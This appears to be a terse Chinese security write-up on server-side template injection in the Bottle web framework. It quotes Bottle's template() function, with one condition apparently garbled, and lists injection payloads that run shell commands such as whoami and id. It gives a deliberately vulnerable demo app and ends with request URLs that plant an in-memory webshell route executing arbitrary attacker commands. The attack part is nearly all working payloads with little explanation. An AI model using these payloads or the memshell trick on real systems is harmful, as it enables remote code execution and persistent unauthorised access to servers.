Bottle框架的模板引擎安全问题分析

def template(*args, **kwargs):    """    Get a rendered template as a string iterator.    You can use a name, a filename or a template string as first parameter.    Template rendering arguments can be passed as dictionaries    or directly (as keyword arguments).    """    tpl = args[0] if args else None    for dictarg in args[1:]:        kwargs.update(dictarg)    adapter = kwargs.pop('template_adapter', SimpleTemplate)    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)    tplid = (id(lookup), tpl)    if tplid not in TEMPLATES or DEBUG:        settings = kwargs.pop('template_settings', {})        if isinstance(tpl, adapter):            TEMPLATES[tplid] = tpl            if settings: TEMPLATES[tplid].prepare(**settings)        elif "n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)        else:            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)    if not TEMPLATES[tplid]:        abort(500, 'Template (%s) not found' % tpl)    return TEMPLATES[tplid].render(kwargs)

  {{ __import__('os').popen('whoami').read() }}

{{!__import__('os').popen('whoami').read() }}

% import os  % os.system("id")

<%    import os    os.system("id")  %>

from bottle import template, Bottle,request,error  app = Bottle()  @app.route('/shell')def index():    result = request.params.get('cmd')    return template('Hello {{result}}', result=result) @app.route('/')  def index():    return 'Hello world'  if __name__ == '__main__':    app.run(host='127.0.0.1', port=8888,debug=True)

http://127.0.0.1:8888/shell?cmd=app.route("/memshell","GET",lambda :__import__('os').popen('calc').read)

http://127.0.0.1:8888/shell?cmd=app.route("/memshell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read)